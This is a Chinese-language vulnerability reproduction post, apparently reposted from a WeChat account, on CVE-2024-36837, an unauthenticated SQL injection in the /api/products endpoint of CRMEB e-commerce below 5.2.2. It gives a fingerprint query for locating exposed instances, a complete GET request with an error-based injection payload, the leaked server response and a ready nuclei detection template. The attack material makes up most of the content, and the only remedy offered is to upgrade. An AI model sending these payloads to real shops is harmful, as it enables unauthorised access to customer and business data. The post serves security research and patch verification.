免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
02
—
漏洞影响
CRMEB 电商系统 5.2.2以下版本
CRMEB 为开源项目,地址如下:
https://github.com/crmeb/CRMEB
03
—
漏洞描述
CRMEB开源商城系统是一款全开源可商用的系统,前后端分离开发,全部100%开源,在小程序、公众号、H5、APP、PC端都能用,使用方便,二开方便!安装使用也很简单!
该系统/api/products接口处存在SQL注入漏洞,未授权攻击者可以利用漏洞获取敏感数据,请及时修复。
04
—
body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"
05
—
漏洞复现
向靶场发送如下数据包
计算md5(9753165)的值
GET /api/products?limit=20&priceOrder&salesOrder&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(9753165)))),0x7e),3550) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
响应内容如下,其中包含了字符串
9D414380D9F6067A05CCD40D5311B04A
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Authori-zation,Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-Requested-With, Form-type, Cb-lang, Invalid-zation
Access-Control-Allow-Methods: GET,POST,PATCH,PUT,DELETE,OPTIONS,DELETE
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 1728000
Content-Type: application/json; charset=utf-8
Date: Thu, 20 Jun 2024 01:34:53 GMT
Server: nginx
Set-Cookie: cb_lang=zh-cn; path=/
Set-Cookie: PHPSESSID=2fe2fe4f826c7d432b233fd4fcb29a5c; path=/
{"status":400,"msg":"SQLSTATE[HY000]: General error: 1772 Malformed GTID set specification '~9d414380d9f6067a05ccd40d5311b04a~'.","data":{"message":"SQLSTATE[HY000]: General error: 1772 Malformed GTID set specification '~9d414380d9f6067a05ccd40d5311b04a~'.","file":"/www/wwwroot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db\/PDOConnection.php","line":771,"trace":[{"file":"/www/wwwroot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":688,"function":"getPDDOStatement","class":"think\db\PDOConnection","type":"->"},{"file":"/www/wwwroot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db/PDOConnection.php","line":8889,"function":"pdoQuery","class":"think\db\PDOConnection","type":"->"},{"file":"/www/wwwroot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db/BaseQuery.php"","line":1090,"function":"select","class":"think\db\PDOConnection","type":"->"},{"file":"/www/wwwroot/czcsyy.com/crmeb/app/dao/product/product/StoreProductDao..php","line":127,"function":"select","class":"think\db\BaseQuery","type":"->"},{"file":"/www/wwwroot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db/Builderr.php","line":788,"function":"app\dao\product\product\{closure}","class":"app\dao\product\product\StoreProductDao","type":"->"},{"file":"/www/wwwroot/czcsyy.coom/crmeb/vendor/topthink/think-orm/src/db/Builder.php","line":754,"function":"parseClosure","class":"think\db\Builder","type":"->"},{"file":"/www/wwwroot/czcssyy.com/crmeb/vendor/topthink/think-orm/src/db/Builder.php","line":529,"function":"parseIn","class":"think\db\Builder","type":"->"},{"file":"/www/wwwroot/czcssyy.com/crmeb/vendor/topthink/think-orm/src/db/Builder.php","line":386,"function":"parseWhereItem","class":"think\db\Builder","type":"->"},{"file":"/www/wwwrooot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db/Builder.php","line":331,"function":"parseWhereLogic","class":"think\db\Builder","type":"->"},{"file":"/wwww/wwwroot/czcsyy.com/crmeb/vendor/topthink/think-orm/src/db/Builder.php","line":299,"function":"buildWhere","class":"think\db\Builder","type":"->"},{"file":"//www/wwwroot/
漏洞复现成功
06
—
nuclei poc
poc文件内容如下
id: CVE-2024-36837
info:
name: CRMEB v.5.2.2 - SQL Injection
author: DhiyaneshDk
severity: high
description: |
SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.
reference:
https://github.com/phtcloud-dev/CVE-2024-36837
https://nvd.nist.gov/vuln/detail/CVE-2024-36837
metadata:
verified: true
1 :
title="CRMEB" :
tags: cve,cve2024,crmeb,sqli
variables:
num: "{{rand_int(9000000, 9999999)}}"
http:
method: GET
path:
"{{BaseURL}}/api/products?limit=20&priceOrder=&salesOrder=&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5({{num}})))),0x7e),3550)"
and :
matchers:
type: word
part: body
words:
"{{md5(num)}}"
"SQLSTATE"
condition: and
type: word
part: content_type
words:
"application/json"
type: status
status:
200
# digest: 490a0046304402203044d17d81b224dafab0f052edc09852ae126401a2350dcbed817e3a8d32b6840220266a399dff53e7dd81a0eeea14d4f29ab5039fee825cd84700698d76b30c8e7f:922c64590222798bb761d5b6d8e72950
07
—
修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-36837漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论